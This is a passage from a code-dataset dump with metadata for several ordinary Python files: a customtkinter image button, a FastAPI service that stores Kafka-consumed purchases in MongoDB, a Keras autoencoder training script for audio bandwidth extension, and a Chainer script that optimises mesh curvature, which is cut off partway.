"line_number": 573, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 580, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 582, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 582, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 588, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 589, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 610, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 610, "usage_type": "call"}, {"api_name": "os.path", "line_number": 610, "usage_type": "attribute"}, {"api_name": "pydicom.read_file", "line_number": 616, "usage_type": "call"}, {"api_name": "pydicom.read_file", "line_number": 638, "usage_type": "call"}]} +{"seq_id": "30027912778", "text": "import customtkinter as ctk\nfrom PIL import Image\nimport app\n\n\nclass ShowButton(ctk.CTkButton):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n \n self.IMAGE = None\n self.LABEL = None\n\n def show_image(self):\n self.destroy_image()\n \n current_item = list(app.main_app.IMAGES_LISTBOX.curselection())[0]\n image_path = app.main_app.IMAGES_LISTBOX.ADDED_IMAGES[current_item] \n \n self.IMAGE = ctk.CTkImage(\n dark_image = Image.open(image_path),\n size = (app.main_app.IMAGE_FRAME_WIDTH, app.main_app.IMAGE_FRAME_HEIGHT)\n ) \n \n self.LABEL = ctk.CTkLabel(master = app.main_app, image = self.IMAGE, text = '')\n \n self.LABEL.place(x = app.main_app.INFO_FRAME_WIDTH + 25, y = 10)\n \n def destroy_image(self):\n if isinstance(self.LABEL, ctk.CTkLabel):\n self.LABEL.destroy()\n self.LABEL = None", "repo_name": "MaxPilipko/Picture-Editor", "sub_path": "modules/gui/show_button.py", "file_name": "show_button.py", "file_ext": "py", "file_size_in_byte": 970, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "customtkinter.CTkButton", "line_number": 6, "usage_type": "attribute"}, {"api_name": "app.main_app.IMAGES_LISTBOX.curselection", "line_number": 16, "usage_type": "call"}, {"api_name": "app.main_app", "line_number": 16, "usage_type": "attribute"}, {"api_name": "app.main_app", "line_number": 17, "usage_type": "attribute"}, {"api_name": "customtkinter.CTkImage", "line_number": 19, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 20, "usage_type": "name"}, {"api_name": "app.main_app", "line_number": 21, "usage_type": "attribute"}, {"api_name": "customtkinter.CTkLabel", "line_number": 24, "usage_type": "call"}, {"api_name": "app.main_app", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.main_app", "line_number": 26, "usage_type": "attribute"}, {"api_name": "customtkinter.CTkLabel", "line_number": 29, "usage_type": "attribute"}]} +{"seq_id": "13503137923", "text": "import asyncio\nimport logging\n\nfrom fastapi import FastAPI, Body, HTTPException, status\nfrom fastapi.encoders import jsonable_encoder\nfrom fastapi.responses import JSONResponse\n\nfrom config import Settings\nfrom mongo_handler import MongoHandler\nfrom kafka_consumer_handler import KafkaConsumerHandler\nfrom models import MongoPurchaseModel\n\n# initialize logger\nlogging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s',level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\nsettings = Settings()\napp = FastAPI()\nloop = asyncio.get_event_loop()\nkafka_handler = KafkaConsumerHandler(settings.kafka_topic_name, settings.kafka_bootstrap_servers, loop)\nmongo_handler = MongoHandler(settings.mongo_url, settings.mongo_database, settings.mongo_collection)\n\n\n@app.on_event(\"startup\")\nasync def startup_event():\n loop.create_task(kafka_handler.consume())\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown_event():\n await kafka_handler.consumer.stop()\n\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"customer_manager_ws root\"}\n\n\n@app.get(\"/user_purchases/{user_id}\", response_description=\"List all user's purchases\", response_model=MongoPurchaseModel)\nasync def list_user_purchases(user_id: str):\n logger.info(f\"GET /user_purchases/{user_id} request received\")\n\n try:\n user_purchase = await mongo_handler.collection.find_one({\"userid\": user_id})\n\n if user_purchase is not None:\n user_purchases = await mongo_handler.collection.find({\"userid\": user_id}).to_list(1000)\n for purchase in user_purchases:\n purchase[\"_id\"] = str(purchase.get(\"_id\"))\n\n logger.info(f\"userid {user_id} found, returning list of purchases.\")\n return JSONResponse(status_code=status.HTTP_200_OK, content=user_purchases)\n\n logger.info(f\"userid {user_id} not found in mongo.\")\n raise HTTPException(status_code=404, detail=f\"userid {user_id} not found\")\n except Exception as e:\n logger.error(f\"error thrown in list_user_purchases. {e.args}\")\n raise HTTPException(status_code=500, detail=f\"uncaught error thrown in server\")\n\n\nasync def create_user_purchase(user_purchase: MongoPurchaseModel = Body(...)):\n logger.info(\"create user purchase message consumed from Kafka. Handling request.\")\n try:\n logger.info(\"parsing Kafka consumed message to json\")\n user_purchase = jsonable_encoder(user_purchase)\n\n logger.info(\"inserting message purchase request to Mongo and verifying it was inserted\")\n new_user_purchase = await mongo_handler.collection.insert_one(user_purchase)\n created_user_purchase = await mongo_handler.collection.find_one({\"_id\": new_user_purchase.inserted_id})\n\n created_user_purchase[\"_id\"] = str(created_user_purchase.get(\"_id\"))\n return JSONResponse(status_code=status.HTTP_201_CREATED, content=created_user_purchase)\n except ValueError as e:\n logger.error(f\"request payload read from Kafka is not serializable. {e.args}\")\n return JSONResponse(status_code=status.HTTP_400_BAD_REQUEST, content={\"message\": \"request payload is not serializable\"})\n except Exception as e:\n logger.error(f\"error was thrown in create_user_purchase while inserting user purchase to Mongo. {e.args}\")\n return JSONResponse(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, content={\"message\": \"server error was thrown handling the request\"})\n\n", "repo_name": "tom1187/IS-home-assignment", "sub_path": "customer_manager_web_server/customer_manager_ws.py", "file_name": "customer_manager_ws.py", "file_ext": "py", "file_size_in_byte": 3419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.basicConfig", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "config.Settings", "line_number": 17, "usage_type": "call"}, {"api_name": "fastapi.FastAPI", "line_number": 18, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 19, "usage_type": "call"}, {"api_name": "kafka_consumer_handler.KafkaConsumerHandler", "line_number": 20, "usage_type": "call"}, {"api_name": "mongo_handler.MongoHandler", "line_number": 21, "usage_type": "call"}, {"api_name": "mongo_handler.collection.find_one", "line_number": 44, "usage_type": "call"}, {"api_name": "mongo_handler.collection", "line_number": 44, "usage_type": "attribute"}, {"api_name": "mongo_handler.collection.find", "line_number": 47, "usage_type": "call"}, {"api_name": "mongo_handler.collection", "line_number": 47, "usage_type": "attribute"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 52, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_200_OK", "line_number": 52, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 52, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 55, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 58, "usage_type": "call"}, {"api_name": "models.MongoPurchaseModel", "line_number": 39, "usage_type": "name"}, {"api_name": "models.MongoPurchaseModel", "line_number": 61, "usage_type": "name"}, {"api_name": "fastapi.Body", "line_number": 61, "usage_type": "call"}, {"api_name": "fastapi.encoders.jsonable_encoder", "line_number": 65, "usage_type": "call"}, {"api_name": "mongo_handler.collection.insert_one", "line_number": 68, "usage_type": "call"}, {"api_name": "mongo_handler.collection", "line_number": 68, "usage_type": "attribute"}, {"api_name": "mongo_handler.collection.find_one", "line_number": 69, "usage_type": "call"}, {"api_name": "mongo_handler.collection", "line_number": 69, "usage_type": "attribute"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 72, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_201_CREATED", "line_number": 72, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 72, "usage_type": "name"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 75, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_400_BAD_REQUEST", "line_number": 75, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 75, "usage_type": "name"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 78, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_500_INTERNAL_SERVER_ERROR", "line_number": 78, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "43172807651", "text": "# Written by Pramod Bachhav, August 2018\r\n# Contact : bachhav[at]eurecom[dot]fr, bachhavpramod[at]gmail[dot]com\r\n\r\n# Code https://github.com/bachhavpramod/bandwidth_extension/blob/master/ABE_SSAE_IS18/2_SSAE_training/SSAE.py\r\n# is modified for single layer output to train a conventional SAE architecture (without pretraining) for dimensionality reduction\r\n\r\n##############################################################################################\r\n\r\nimport keras\t\r\nimport numpy as np\r\nimport os\r\nos.sys.path.append('./../../ABE_SSAE_IS18/2_SSAE_training') # to include files HTK.p, HTKFeat.py and my_functions.py\r\nimport my_functions\r\n\r\nl1 = 2\r\nl2 = 2\r\nmodelpath='./your_models_SAE/' \r\n\r\nif not os.path.exists(modelpath):\r\n os.makedirs(modelpath) \r\n \r\nfeature='LPS'\r\n#feature = 'LogMFE' \r\nprint('Feature used is {}'.format(feature))\r\n\r\nprint( 'Loading data...')\r\ndata = my_functions.load_data(l1,l2, feature) \r\ninp_train, inp_dev, inp_test, op_reg_train, op_reg_dev, op_reg_test, feat_dim_X, feat_dim_Y = data\r\nprint('Data loaded') \r\n\r\n###############################################\r\n\r\n# Configurations\r\npDrop = 0; BN = 'b'\r\nHL = [512,256,10,256,512]\r\nactivations = ['tanh','tanh','tanh','tanh','tanh','linear']; act='tanh'\r\n\r\n################# Training parameters #################\r\n\r\nep = 50 # Number of epochs\r\nep = 1\r\noptimizer = 'adam'; LR=0.001 # learning rate \r\npatience = 5; reduce_lr_factor = 0.5; min_LR = 0.00001 # Parameters for callback ReduceLROnPlateau\r\nbs = 512 # batch_size\r\nshuff = True\r\n\r\ninitializer = keras.initializers.he_normal(seed=7); init='he_n'\r\nloss='mse'\r\n\r\n##################################\r\n\r\nsheet_name=''\r\nfor i in range(len(HL)):\r\n sheet_name = sheet_name+str(HL[i])\r\n if i is not len(HL)-1:\r\n sheet_name=sheet_name+'_' \r\n\r\narch = 'SAE'\r\nexpName = str(len(HL)+1)+'L_'+sheet_name+'_'+arch+'_'+feature+'_NB_LPC_'+str((l1+l2+1)*feat_dim_X)+'.'+feat_dim_Y+'_mem_'+str(l1)+'.'+str(l2)+'_act_'+act+'_dr='+str(pDrop)+'_BN='+str(BN)\r\n\r\n\r\nL = np.append(feat_dim_X*(l1+l2+1),HL)\r\nL = np.append(L,feat_dim_X*(l1+l2+1))\r\n\r\n\r\nalpha=0.5\r\nmodel_name = expName+'_'+optimizer+'_LR='+str(LR)+'_'+loss+'_ep='+str(ep)+'_pat='+str(patience)+'_bs='+str(bs)+init\r\npath_to_save = modelpath+model_name\r\nprint('Experiment setup is : '+path_to_save)\r\n\r\n\r\nfrom keras.layers import Input, Dropout, Dense\r\nfrom keras.models import Model\r\nfrom keras.layers.normalization import BatchNormalization\r\nfrom keras.layers.core import Activation\r\nfrom keras.callbacks import ModelCheckpoint\r\n\r\n################# Build SSAE architecture #################\r\n \r\nencoded_layer_index= int((len(L)-1)/2)\r\nnum_layers =int((len(L)-1))\r\n\r\ninp = Input(shape=(feat_dim_X*(l1+l2+1),))\r\nencoded= inp\r\n\r\nfor i in np.arange(0, encoded_layer_index):\r\n if pDrop:\r\n encoded=Dropout(pDrop)(encoded)\r\n encoded = Dense(HL[i], kernel_initializer=initializer)(encoded)\r\n if BN=='b':\r\n encoded = BatchNormalization()(encoded)\r\n encoded = Activation(activations[i])(encoded)\r\n if BN=='a':\r\n encoded = BatchNormalization()(encoded)\r\n decoded=encoded\r\n\r\ninp_decoder = encoded \r\nfor i in range(encoded_layer_index, num_layers-1):\r\n# print('i= {}'.format(i))\r\n if pDrop:\r\n decoded=Dropout(pDrop)(decoded)\r\n decoded = Dense(HL[i], kernel_initializer=initializer)(decoded)\r\n if BN=='b':\r\n decoded = BatchNormalization()(decoded)\r\n decoded = Activation(activations[i])(decoded)\r\n if BN=='a':\r\n decoded = BatchNormalization()(decoded) \r\n inp_decoder = decoded \r\n\r\nAE_op = Dense( feat_dim_X*(l1+l2+1) , activation=activations[num_layers-1], name='AE')(decoded)\r\nmodel = Model(inputs = inp, outputs = AE_op)\r\nencoder = Model(inputs = inp, outputs =encoded)\r\n\r\nmodel.compile(optimizer = optimizer, loss='mse')\r\nmodel.summary()\r\n\r\ncheckpointer = ModelCheckpoint(filepath=path_to_save+'.hdf5', \r\n verbose=0, save_best_only=True, \r\n monitor='val_loss')\r\n\r\nreduce_lr = keras.callbacks.ReduceLROnPlateau(monitor='val_loss', factor=reduce_lr_factor, verbose=1,\r\n patience=patience, min_lr=min_LR)\r\n\r\n################# Train SSAE architecture #################\r\n\r\nmodel.fit(inp_train, inp_train,\r\n epochs = ep,\r\n batch_size = bs,\r\n shuffle = shuff,\r\n validation_data = (inp_dev, inp_dev),\r\n callbacks = [reduce_lr, checkpointer], \r\n verbose = 2,\r\n )\r\n\r\nbest_model = keras.models.load_model(path_to_save + '.hdf5')\r\nmodel_enc = Model(inputs = best_model.inputs, outputs = best_model.get_layer('activation_3').output)\r\nmodel_enc.save(path_to_save + '_enc.hdf5')\r\n\r\nprint('----------- Training finished ----------') \r\n \r\n\r\n", "repo_name": "bachhavpramod/bandwidth_extension", "sub_path": "ABE_CVAE_ICASSP19/2_CVAE_training/Train_SAE.py", "file_name": "Train_SAE.py", "file_ext": "py", "file_size_in_byte": 4820, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 43, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "os.sys", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 20, "usage_type": "call"}, {"api_name": "my_functions.load_data", "line_number": 27, "usage_type": "call"}, {"api_name": "keras.initializers.he_normal", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.initializers", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 92, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 101, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 104, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 105, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 107, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 110, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 111, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 112, "usage_type": "call"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 117, "usage_type": "call"}, {"api_name": "keras.callbacks.ReduceLROnPlateau", "line_number": 121, "usage_type": "call"}, {"api_name": "keras.callbacks", "line_number": 121, "usage_type": "attribute"}, {"api_name": "keras.models.load_model", "line_number": 135, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 135, "usage_type": "attribute"}, {"api_name": "keras.models.Model", "line_number": 136, "usage_type": "call"}]} +{"seq_id": "7290894906", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nimport argparse,os\r\n\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport seaborn as sns\r\n\r\nfrom plyfile import PlyData, PlyElement\r\nimport chainer\r\nimport chainer.functions as F\r\nimport chainer.links as L\r\nfrom chainer.training import extensions\r\nfrom chainer import training,datasets,iterators,Variable\r\nfrom consts import optim,dtypes\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.pyplot as plt\r\nimport mpl_toolkits.mplot3d as a3\r\nimport matplotlib.colors as colors\r\nfrom cosshift import CosineShift\r\n\r\ndef plot_log(f,a,summary):\r\n a.set_yscale('log')\r\n\r\n## triangle mesh plot\r\ndef plot_trimesh2(vert,tri,fname):\r\n m = np.min(verts)\r\n M = np.max(verts)\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111, projection=\"3d\")\r\n #ax = fig.gca(projection='3d')\r\n ax.set_xlim3d=(m-0.2*(M-m),M+0.2*(M-m))\r\n ax.set_ylim3d=(m-0.2*(M-m),M+0.2*(M-m))\r\n ax.set_zlim3d=(m-0.2*(M-m),M+0.2*(M-m))\r\n ax.set_axis_off()\r\n ax.plot_trisurf(vert[:,0], vert[:,1], vert[:,2], triangles=tri, linewidth=0.2, antialiased=True, cmap=plt.cm.cividis)\r\n# plt.show()\r\n plt.savefig(fname, dpi=200)\r\n plt.close()\r\n\r\ndef plot_trimesh(verts,faces,fname):\r\n m = np.min(verts)\r\n M = np.max(verts)\r\n ax = a3.Axes3D(plt.figure())\r\n ax.dist=8\r\n ax.azim=-140\r\n ax.elev=50\r\n ax.set_axis_off()\r\n ax.set_xlim([m-0.2*(M-m),M+0.2*(M-m)])\r\n ax.set_ylim([m-0.2*(M-m),M+0.2*(M-m)])\r\n ax.set_zlim([m-0.2*(M-m),M+0.2*(M-m)])\r\n for f in faces:\r\n triangle=[verts[f[0]],verts[f[1]],verts[f[2]]] \r\n face = a3.art3d.Poly3DCollection([triangle]) \r\n# face.set_color(colors.rgb2hex(np.random.random(3)))\r\n face.set_edgecolor('k')\r\n# face.set_alpha(0.9)\r\n ax.add_collection3d(face)\r\n plt.savefig(fname, dpi=200)\r\n plt.close()\r\n# plt.show()\r\n\r\n\r\n# Compute cosine of angle defect\r\ndef compute_cos_angle(vert,face,theta,xp):\r\n # Obsolite: replaced with compute_cos_angle_sub which is more efficient\r\n cos_angle = Variable(xp.cos(theta))\r\n sin_angle = Variable(xp.sin(theta))\r\n for f in face:\r\n n = len(f)\r\n id_p = xp.array([f[(i-1)%n] for i in range(n+1)])\r\n id = xp.array([f[i%n] for i in range(n+1)])\r\n id_n = xp.array([f[(i+1)%n] for i in range(n)])\r\n L = F.sum((vert[id_p] - vert[id])**2, axis=1)\r\n D = F.sum((vert[id_n] - vert[ id_p[:-1] ])**2, axis=1)\r\n c1 = (L[:n]+L[1:]-D)/(2*F.sqrt(L[:n]*L[1:]))\r\n s1 = F.sqrt(1-c1**2)\r\n # trigonometric addition formula\r\n c0 = cos_angle[f]\r\n s0 = sin_angle[f]\r\n cos_angle = F.scatter_add(cos_angle,f,-c0 + c0*c1 - s0*s1)\r\n sin_angle = F.scatter_add(sin_angle,f,-s0 + c0*s1 + s0*c1)\r\n return cos_angle\r\n\r\n# Compute cosine of angle defect for vertex with indices idx\r\ndef compute_cos_angle_sub(vert,N,theta,idx,xp):\r\n cos_angle = []\r\n for i in idx:\r\n L0 = F.sum((vert[N[i][:,0]] - vert[i])**2, axis=1)\r\n L1 = F.sum((vert[N[i][:,1]] - vert[i])**2, axis=1)\r\n D = F.sum((vert[N[i][:,1]] - vert[N[i][:,0]])**2, axis=1)\r\n c1 = (L0+L1-D)/(2*F.sqrt(L0*L1)) # law of cosines\r\n s1 = F.sqrt(1-c1**2)\r\n# print(xp.arccos(c1.array),xp.arcsin(s1.array))\r\n c0,s0 = xp.cos(theta[i]),xp.sin(theta[i])\r\n for j in range(len(c1)): # addition law\r\n c0,s0 = c0*c1[j]-s0*s1[j], c0*s1[j]+s0*c1[j] # don't split (or you need a temporary variable)\r\n cos_angle.append(c0)\r\n return(cos_angle)\r\n\r\n# Compute gaussian curvature\r\ndef compute_curvature(vert,face,xp):\r\n # Obsolite: replaced with compute_curvature_sub which is more efficient\r\n K = Variable(xp.full((len(vert),), 2*xp.pi))\r\n for f in face:\r\n n = len(f)\r\n id_p = xp.array([f[(i-1)%n] for i in range(n+1)])\r\n id = xp.array([f[i%n] for i in range(n+1)])\r\n id_n = xp.array([f[(i+1)%n] for i in range(n)])\r\n L = F.sum((vert[id_p] - vert[id])**2, axis=1)\r\n D = F.sum((vert[id_n] - vert[ id_p[:-1] ])**2, axis=1)\r\n c1 = (L[:n]+L[1:]-D)/(2*F.sqrt(L[:n]*L[1:]))\r\n K = F.scatter_add(K,f,-F.arccos(c1))\r\n return K\r\n\r\n# Compute gaussian curvature for vertex with indices idx\r\ndef compute_curvature_sub(vert,N,idx,force_upward=False,verbose=False):\r\n K = []\r\n for i in idx:\r\n L0 = F.sum((vert[N[i][:,0]] - vert[i])**2, axis=1)\r\n L1 = F.sum((vert[N[i][:,1]] - vert[i])**2, axis=1)\r\n D = F.sum((vert[N[i][:,1]] - vert[N[i][:,0]])**2, axis=1)\r\n c1 = (L0+L1-D)/(2*F.sqrt(L0*L1))\r\n arg = 2*np.pi-F.sum(F.arccos(c1))\r\n if force_upward:\r\n up = F.sum(vert[i]-vert[N[i][:,0]],axis=0)\r\n fn = [0,0,0]\r\n for k in range(len(N[i])):\r\n q = cross(vert[N[i][k,1]] - vert[i], vert[N[i][k,0]] - vert[i])\r\n fn[0] += q[0]\r\n fn[1] += q[1]\r\n fn[2] += q[2]\r\n s = F.sign(inprod(fn,up))\r\n if verbose and s.array<0:\r\n print(i,s)\r\n arg *= F.sign(inprod(fn,up))\r\n K.append(arg)\r\n return(K)\r\n\r\n# Compute gaussian curvature for vertex with indices idx from distance matrix\r\ndef compute_curvature_dmat_sub(dmat,N,idx):\r\n K = []\r\n for i in idx:\r\n L0 = dmat[N[i][:,0],i]**2\r\n L1 = dmat[N[i][:,1],i]**2\r\n D = dmat[N[i][:,0],N[i][:,1]]**2\r\n c1 = (L0+L1-D)/(2*F.sqrt(L0*L1))\r\n arg = 2*np.pi-F.sum(F.arccos(c1))\r\n K.append(arg)\r\n return(K)\r\n\r\n## create ply file\r\ndef save_ply(vert,face,fname):\r\n el1 = PlyElement.describe(np.array([(x[0],x[1],x[2]) for x in vert],dtype=[('x', 'f8'), ('y', 'f8'),('z', 'f8')]), 'vertex')\r\n el2 = PlyElement.describe(np.array([([x[0],x[1],x[2]], 0) for x in face],dtype=[('vertex_indices', 'i4', (3,)), ('red', 'u1')]), 'face')\r\n PlyData([el1,el2], text=True).write(fname)\r\n\r\ndef cross(p,q):\r\n return( (p[1]*q[2]-p[2]*q[1],p[2]*q[0]-p[0]*q[2], p[0]*q[1]-p[1]*q[0]))\r\n\r\ndef inprod(p,q):\r\n return( p[0]*q[0]+p[1]*q[1]+p[2]*q[2])\r\n\r\n# vertex star\r\n# for a vertex i: N[i][k,0], i, N[i][k,1] form consecutive edges\r\ndef neighbour(n,face):\r\n F = [[] for i in range(n)]\r\n for f in face:\r\n for i in range(len(f)-1):\r\n F[f[i]].append([f[i-1],f[i+1]])\r\n F[f[-1]].append([f[-2],f[0]])\r\n return([np.array(F[i]) for i in range(n)])\r\n\r\n######################################################################\r\n## updater \r\nclass Updater(chainer.training.StandardUpdater):\r\n def __init__(self, *args, **kwargs):\r\n self.coords = kwargs.pop('models')\r\n params = kwargs.pop('params')\r\n super(Updater, self).__init__(*args, **kwargs)\r\n self.args = params['args']\r\n self.faces = params['faces']\r\n self.N = params['N']\r\n self.fixed_coords = params['fixed_coords']\r\n self.force_upward = False\r\n\r\n def update_core(self):\r\n opt = self.get_optimizer('opt')\r\n xp = self.coords.xp\r\n b = self.get_iterator('main').next()\r\n vert = self.coords.W\r\n if self.args.optimise_cos:\r\n# ca = compute_cos_angle(self.coords.W,self.faces,self.args.target_curvature,xp)\r\n# loss = sum([1-ca[i] for i in self.args.constrained_vert]) #/len(self.args.free_vert)\r\n ca = compute_cos_angle_sub(vert,self.N,self.args.target_curvature,b,xp)\r\n loss = sum([1-ca[i] for i in range(len(ca))])/len(b)\r\n else:\r\n# K = compute_curvature(vert,self.faces,xp)\r\n# loss = sum([(K[i]-self.args.target_curvature[i])**2 for i in self.args.constrained_vert])\r\n K = compute_curvature_sub(vert,self.N,b)\r\n loss = sum([(K[i]-self.args.target_curvature[b[i]])**2 for i in range(len(b))])/len(b)\r\n# print([(i,K[i],self.args.target_curvature[b[i]]) for i in range(len(b))])\r\n chainer.report({'loss': loss.item()}, self.coords)\r\n\r\n if self.force_upward: # each vertex should be higher in z direction than the average of neighbours\r\n for i in b:\r\n up = F.sum(vert[i]-vert[self.N[i][:,0]],axis=0)\r\n fn = [0,0,0]\r\n for k in range(len(self.N[i])):\r\n q = cross(vert[self.N[i][k,1]] - vert[i], vert[self.N[i][k,0]] - vert[i])\r\n fn[0] += q[0]\r\n fn[1] += q[1]\r\n fn[2] += q[2]\r\n loss_upward = F.relu(-inprod(fn,up)-0.1)**2\r\n chainer.report({'loss_up': loss_upward}, self.coords)\r\n loss += self.args.lambda_upward * loss_upward\r\n\r\n if self.args.lambda_bdvert>0:\r\n loss_bdv = F.sum( (self.fixed_coords-vert[self.args.fixed_vert])**2 )\r\n chainer.report({'loss_bdv': loss_bdv}, self.coords)\r\n loss += self.args.lambda_bdvert * loss_bdv\r\n\r\n self.coords.cleargrads()\r\n loss.backward()\r\n opt.update(loss=loss)\r\n\r\n if self.args.strict_boundary:\r\n self.coords.W.array[self.args.fixed_vert] = self.fixed_coords\r\n\r\n if (self.iteration) % self.args.vis_freq == 0 and self.args.vis_freq>0:\r\n plot_trimesh(self.coords.W.array,self.faces,os.path.join(self.args.outdir,'count{:0>4}.jpg'.format(self.iteration)))\r\n\r\n#####################################################################################\r\n#-----------------------\r\ndef main():\r\n parser = argparse.ArgumentParser(description='Ranking learning')\r\n parser.add_argument('input', help='Path to ply file')\r\n parser.add_argument('--output', default=\"output.ply\", help='output ply filename')\r\n parser.add_argument('--target_curvature', '-K', default=None, type=str, help='file containing target gaussian curvature')\r\n parser.add_argument('--target_curvature_scalar', '-Ks', default=0.01, type=float, help='target gaussian curvature value')\r\n parser.add_argument('--constrained_vert', '-cv', default=None, type=str, help='file containing indices of vertices with curvature target')\r\n parser.add_argument('--boundary_vertex', '-bv', default=None, help='Path to a csv specifying boundary position')\r\n parser.add_argument('--lambda_bdvert', '-lv', type=float, default=0, help=\"weight for boundary constraint\")\r\n parser.add_argument('--strict_boundary', '-sbd', action='store_true',help='strict boundary constraint')\r\n parser.add_argument('--lambda_upward', '-lu', type=float, default=0, help=\"weight for upwardness\")\r\n parser.add_argument('--batchsize', '-b', type=int, default=-1,\r\n help='Number of vertices which are updated at a time')\r\n parser.add_argument('--epoch', '-e', type=int, default=100,\r\n help='Number of iterations')\r\n parser.add_argument('--vis_freq', '-vf', type=int, default=-1,\r\n help='visualisation frequency')\r\n parser.add_argument('--gpu', '-g', type=int, default=-1,\r\n help='GPU ID (negative value indicates CPU)')\r\n parser.add_argument('--optimise_cos', '-cos', action='store_true', help='optimise cosine rather than curvature')\r\n parser.add_argument('--outdir', '-o', default='result',\r\n help='Directory to output the result')\r\n parser.add_argument('--optimizer', '-op',choices=optim.keys(),default='Adam',\r\n help='optimizer')\r\n parser.add_argument('--learning_rate', '-lr', type=float, default=1e-3,\r\n help='learning rate')\r\n parser.add_argument('--salt', action='store_true',help='add salt to randomise initial coordinates')\r\n parser.add_argument('--verbose', '-v', action='store_true',help='print debug information')\r\n args = parser.parse_args()\r\n\r\n chainer.config.autotune = True\r\n #chainer.print_runtime_info()\r\n\r\n # Read mesh data\r\n plydata = PlyData.read(args.input)\r\n vert = np.vstack([plydata['vertex']['x'],plydata['vertex']['y'],plydata['vertex']['z']]).astype(np.float64).T\r\n face = plydata['face']['vertex_indices']\r\n print(args)\r\n# plot_trimesh(vert,face,\"out.png\")\r\n\r\n # set target curvature\r\n if args.target_curvature:\r\n args.target_curvature = np.loadtxt(args.target_curvature)\r\n else:\r\n# args.target_curvature = np.full((len(vert),),4*np.pi/len(vert)) ## constant curvature with euler char = 2\r\n args.target_curvature = np.full((len(vert),),args.target_curvature_scalar) ## constant curvature with euler char = 2\r\n if len(args.target_curvature) != len(vert):\r\n print(\"Curvatures and vertices have different length!\")\r\n exit(-1)\r\n\r\n # determine fixed vertices\r\n args.vert = range(len(vert))\r\n if args.boundary_vertex:\r\n bddat = np.loadtxt(args.boundary_vertex,delimiter=\",\")\r\n args.fixed_vert = bddat[:,0].astype(np.uint32)\r\n fixed_coords = bddat[:,1:]\r\n else:\r\n args.fixed_vert = np.where( args.target_curvature > 2*np.pi )[0]\r\n fixed_coords = vert[args.fixed_vert]\r\n# np.savetxt(\"boundary.csv\", np.hstack([args.fixed_vert[:,np.newaxis],fixed_coords]),delimiter=\",\",fmt='%i,%f,%f,%f')\r\n\r\n\r\n args.free_vert = list(set(args.vert) - set(args.fixed_vert))\r\n if args.constrained_vert:\r\n args.constrained_vert = np.loadtxt(args.constrained_vert).astype(np.uint16)\r\n else:\r\n args.constrained_vert = list(set(args.free_vert) - set(np.where( 